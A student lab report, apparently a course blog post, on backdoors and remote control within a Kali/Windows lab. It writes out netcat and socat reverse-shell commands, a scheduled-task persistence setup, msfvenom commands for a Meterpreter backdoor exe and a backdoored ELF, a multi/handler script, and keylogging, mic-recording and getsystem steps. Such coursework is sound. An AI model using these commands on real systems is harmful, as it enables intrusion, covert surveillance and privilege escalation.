20242327 2026-2027-1 《网络与系统攻防技术》实验二实验报告

20242327 2026-2027-1 《网络与系统攻防技术》实验二实验报告

1. 基础知识

本实验涉及后门原理与远程控制技术,主要基础知识点如下:

(1)后门与反弹连接

后门(Backdoor)是指绕过正常认证流程即可访问系统的通道。后门要真正生效,通常需要走完四步:①有一个后门程序;②把它投递到目标系统;③让它运行起来(自启动/驻留);④不被发现(免杀、加密、隧道)。

后门连接方式分为正向连接与反弹连接。正向连接是攻击者主动连接受害者,容易被防火墙拦截;反弹连接是受害者主动连接攻击者,因为防火墙/NAT 通常只拦入站、不拦出站,所以后门几乎都采用反弹连接。

(2)netcat 与 socat

netcat是底层 TCP/UDP 数据收发工具,常被用来建立反弹 Shell。

socat 是 netcat 的加强版,支持加密、转发、多协议,可以实现加密反弹 Shell。

(3)cron 与 Windows 任务计划

cron 是 Linux 下的定时任务守护进程,通过 crontab -e 编辑任务表,可以实现每隔一段时间自动执行某命令的效果。

Windows 任务计划程序(taskschd.msc)是 Windows 下的定时/触发式任务调度工具,两者都是后门驻留的经典手法。

(4)Metasploit 与 msfvenom + Meterpreter

msfvenom 是 Metasploit 框架中的 payload 生成器,可以把后门的基本功能、扩展功能、编码模式、运行平台等组合成一个可执行文件。Meterpreter 是 Metasploit 的高级 payload,运行在内存中,提供文件操作、进程迁移、截屏、键盘记录、提权、凭据抓取等功能。

(5)multi/handler

exploit/multi/handler 是 Metasploit 中的通用监听模块,用于接收 msfvenom 生成的后门连接。使用时 payload、LHOST、LPORT 必须与生成后门时完全一致。


2. 实验内容

(1)使用netcat获取主机操作Shell,cron启动某项任务(任务自定)

PS:cron是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程

(2)使用socat获取主机操作Shell, 任务计划启动

(3)使用MSF meterpreter(或其他软件)生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell

(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权

(5)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。

实验环境:
  • 控制端:Kali Linux 2024(IP:192.168.17.129)

  • 被控端:Windows 11(IP:10.30.46.17,主机名 LENOVE-USER)


3. 实验过程

任务一:netcat 获取 Shell及cron 定时启动

(1)手动验证反弹连接

Windows 端打开监听:

Kali 端执行反弹:

nc 10.30.46.17 2420 -e /bin/sh

Windows 端获得 Kali 的 Shell,执行 whoami 返回 kali,执行 ls 返回 Kali 的家目录列表,如下图:

(2)cron 定时反弹

在 Kali 上编辑 crontab:

保存后 crontab -l 确认。Windows 上重新 ncat.exe -l -p 2420 监听,等待不超过一分钟,Windows 窗口自动出现 Kali 的 Shell,执行 whoami 返回 kali。


任务二:socat 获取 Shell及Windows 任务计划启动

(1)手动验证 socat 反弹连接

Kali 端开监听:

Windows 端用 socat 主动连接并交出 cmd:

Kali 窗口出现 Windows 命令提示符 D:\socat\socat>,执行 whoami 返回 lenove-user\lenovo。

(2)Windows 任务计划实现自动启动

打开 taskschd.msc,创建任务 SysCheck:

  • 常规:勾选“使用最高权限运行”,选择“只在用户登录时运行”(避免需要输入密码)

  • 触发器:设为“按预定计划”,触发时间设为当前时间 +2 分钟

  • 操作:程序 D:\socat\socat\socat.exe,参数 tcp:192.168.17.129:2420 exec:cmd.exe,pty,stderr,起始于 D:\socat\socat

  • 条件:取消“只有在计算机使用交流电源时才启动此任务”

屏幕截图 2026-10-13 162518

保存后,Kali 重新 nc -l -p 2420,等触发时间到,Kali 窗口自动出现 Windows Shell。

(3)实验结束后清理

任务计划里右键 SysCheck → 删除。Kali 上 Ctrl+C 结束监听。


任务三:msfvenom 生成 Windows 后门

(1)生成后门

Kali 上执行

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.17.129 LPORT=4444 -f exe -o backdoor.exe

生成后 执行 ls -lh backdoor.exe  确认文件大小(约 7168 字节)。

(2)传输到 Windows

先尝试 ncat 传输失败(原因:Windows Defender 实时保护拦截),改用 Python HTTP 服务:

Kali 上执行:

python3 -m http.server 8000

Windows 上执行:
curl -o backdoor.exe http://192.168.17.129:8000/backdoor.exe
dir backdoor.exe

(3)Kali 上启动 handler

(4)Windows 上运行后门

先临时关闭 Windows Defender 实时保护,否则 exe 会被秒删,然后运行该后门:

Kali 的 msfconsole 输出:

t

(5)进入会话验证

如下图,验证成功:


任务四:Meterpreter 信息收集并提权

(1)信息收集

在 meterpreter > 提示符下依次执行:

screenshot
record_mic -d 5
keyscan_start
keyscan_dump
keyscan_stop

(2)查看已捕获的文件

Kali 另开终端输入:

ls -lh /home/kali/.jpeg /home/kali/.wav
xdg-open /home/kali/BrTpXwLm.jpeg

下图为截取到的 Windows 桌面画面,以及终端里 ls -lh 显示的两个文件
屏幕截图 2026-10-14 154252
d2c4bb728c93cf03b1bbf28daa5fd1a4

(3)提权

如下图,执行 getsystem和getuid

得到结果NT AUTHORITY\SYSTEM,表示提权成功,拿到了系统最高权限。

(4)实验结束后清理

  • Windows 上重新打开 Defender 实时保护

  • Windows 上删除 backdoor.exe

  • Kali 上杀掉 msfconsole 进程


任务五:msfvenom 生成 shellcode 注入 pwn1 获取反弹 Shell

(1)背景与工具 bug 修复

使用 msfvenom -x 把 Linux 后门注入到实践一的 ELF 程序 pwn1 时,遇到 Metasploit 框架自身的一个 bug:注入后输出文件只有 123 字节,file 显示为 data,运行时提示 1: j: not found 之类的脚本解析错误,并非预期的 7418 字节 ELF。

原因是 lib/msf/util/exe/linux/x86.rb 中 to_linux_x86_custom_elf 函数结尾漏写了返回值,Ruby 隐式返回了最后一句赋值语句的右值 code(即裸 shellcode),而不是打好补丁的 elf。
修改此问题后能够继续试验。
(2)生成注入后门的 pwn1

Kali 上执行:

cd ~/Desktop
msfvenom -p linux/x86/meterpreter/reverse_tcp
LHOST=192.168.17.129 LPORT=8888
-x /home/kali/Desktop/pwn1
-f elf -o pwn1_bd
chmod a+x pwn1_bd

输出显示 Payload size: 123 bytes,Final size of elf file: 7418 bytes,与原 pwn1 等长。

(3)验证注入是否成功

kali终端输入:

ls -l pwn1_bd
file pwn1_bd
readelf -lW pwn1_bd | grep LOAD

结果:

  • 大小 7418 字节,与原始 pwn1 一致;

  • file 显示 ELF 32-bit LSB executable, Intel i386;

  • 首个 LOAD 段权限由 R E 变为 RWE(多了可写权限,用于写入 shellcode)。

(4)Kali 上启动 multi/handler

写资源脚本:

cat > /home/kali/handler.rc <<'EOF'
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.17.129
set LPORT 8888
set ExitOnSession false
exploit -j
EOF
msfconsole -q -r /home/kali/handler.rc

输出 Started reverse TCP handler on 192.168.17.129:8888,监听成功。

(5)运行后门,获取反弹 Shell

另开终端执行:

cd ~/Desktop
./pwn1_bd

msfconsole 立即输出:

[] Sending stage (1062760 bytes) to 192.168.17.129
[
] Meterpreter session 1 opened (192.168.17.129:8888 -> 192.168.17.129:53924)

进入会话验证:

msf6 exploit(multi/handler) > sessions -i 1
meterpreter > sysinfo
Computer : liangruili
OS : Debian (Linux 6.19.14+kali-amd64)
Architecture : x64
Meterpreter : x86/linux
meterpreter > getuid
Server username: kali

会话成功建立,任务五完成。

(6)实验结束后清理


4. 问题及解决方案

  • 问题 1:Windows 上的 netcat 包(netcat-win32-1.12)下载时被删除。

    解决方案:忘记关闭安全防护,关闭后下载解压后不会被自动删除。

  • 问题 2:用 ncat 传输 backdoor.exe 到 Windows 时,dir 显示文件是 0 字节。

    解决方案:原因是 Windows Defender 实时保护拦截,识别出 Trojan:Win32/Meterpreter.RPZ!MTB。关闭防火墙后,仍然无法解决该问题,询问同学得出可以使用http传输的方法。

    于是改用 Python HTTP 服务 + curl 下载,绕过 ncat 通道的问题。

  • 问题 3:任务三结束后未关闭 msfconsole 的 handler,导致终端持续刷屏。

    递

    原因:任务三里用 exploit -j 把 handler 放到后台运行,且资源脚本里设置了 ExitOnSession false,监听端口一直开着。此时目标端残留或反复触发的后门程序仍在周期性地向 Kali 的监听端口发起连接;每次连上后因为不能正常完成 stage 传输(对端进程随即退出/被杀),会话马上被判定为无效并关闭。handler 收到一次连接就产生一个 session 编号,对端又反复重连,于是就出现了“Sending stage → session N is not valid → session N closed. Reason: Died”的循环刷屏,编号一路涨到 24,后来卡死了。

    解决方法:重启了之后全都没了……

    问题 4:任务五中按指导书命令把 shellcode 注入 pwn1,生成的 pwn1_bd 只有 123 字节,不是预期的 7418 字节 ELF。

    原因:这是 Metasploit 框架自身的 bug。lib/msf/util/exe/linux/x86.rb 中的 to_linux_x86_custom_elf 函数在结尾漏写了返回值。Ruby 方法会隐式返回最后一条表达式的值,而该函数最后一句恰好是赋值语句:elf[entry_off, code.length] = code

    赋值表达式的返回值是其右值 code,也就是 123 字节的裸 shellcode。

    于是函数返回的不是打好补丁的 ELF,而是裸 shellcode,最终 msfvenom 输出的自然也就是这 123 字节,而不是完整的 ELF 文件。

    解决方案:编辑该文件,在赋值语句后补一行显式返回 elf:

    elf[entry_off, code.length] = code
    elf
    end

    保存退出后,用原命令重新生成,输出恢复正常。

  • 问题 5:Meterpreter 会话建立后,敲 sysinfo 报 Unknown command: sysinfo。

    解决方案:原因是在 msf exploit(multi/handler) > 提示符下敲命令,而 sysinfo 是 Meterpreter 会话内的命令。需要先 sessions -i 1 进入 meterpreter > 提示符,再执行。

    随后启动 multi/handler 监听 8888 端口,运行 ./pwn1_bd,成功收到 Meterpreter session 1 opened。


5. 学习感悟、思考等

本次实验围绕后门原理与远程控制技术展开,实践了反弹连接、定时任务驻留、加密隧道、平台化后门生成、信息收集与提权、shellcode 注入等,完成了从手工搭建后门到平台化生成后门、再到将 shellcode 注入既有 ELF 程序获取反弹 Shell 的完整流程。

通过本次实验,我明确了后门生效需要经历“程序存在、投递到位、成功运行、长期隐藏”四个环节,其中反弹连接之所以成为后门的主流方式,是因为防火墙与 NAT 通常只拦截入站流量而不拦截出站流量,由被控端主动外连可以穿透绝大多数边界设备。

在此基础上,实验分别使用 netcat 与 socat 实现了跨平台 Shell 获取,并通过 cron 定时任务与 Windows 任务计划程序实现了后门的自动启动,验证了驻留技术的可行性与隐蔽性。

在平台化后门部分,实验使用 msfvenom 生成 Windows 后门并结合 Meterpreter 完成了远程控制,进一步实践了截屏、录音、键盘记录、进程迁移、凭据抓取与提权等信息收集与权限维持操作。在 shellcode 注入部分,实验将 Linux 后门注入到实践一的 pwn1 ELF 程序中,通过比对文件大小、文件类型与 LOAD 段权限确认注入成功,并最终获取反弹 Meterpreter 会话。

该过程还暴露出 Metasploit 框架在 ELF 模板注入函数中缺少返回值的问题,通过定位并修复该缺陷,加深了对 msfvenom 生成机制的理解。

实验过程中,比获得最高权限更让我印象深刻的是通过后门截取用户屏幕等行为,这让我意识到到网络安全事关重大,我们日常应尤其注意不乱点陌生链接。


参考资料

posted @ 2026-10-14 16:23  小鱼爱大葱  阅读(5)  评论(0)    收藏  举报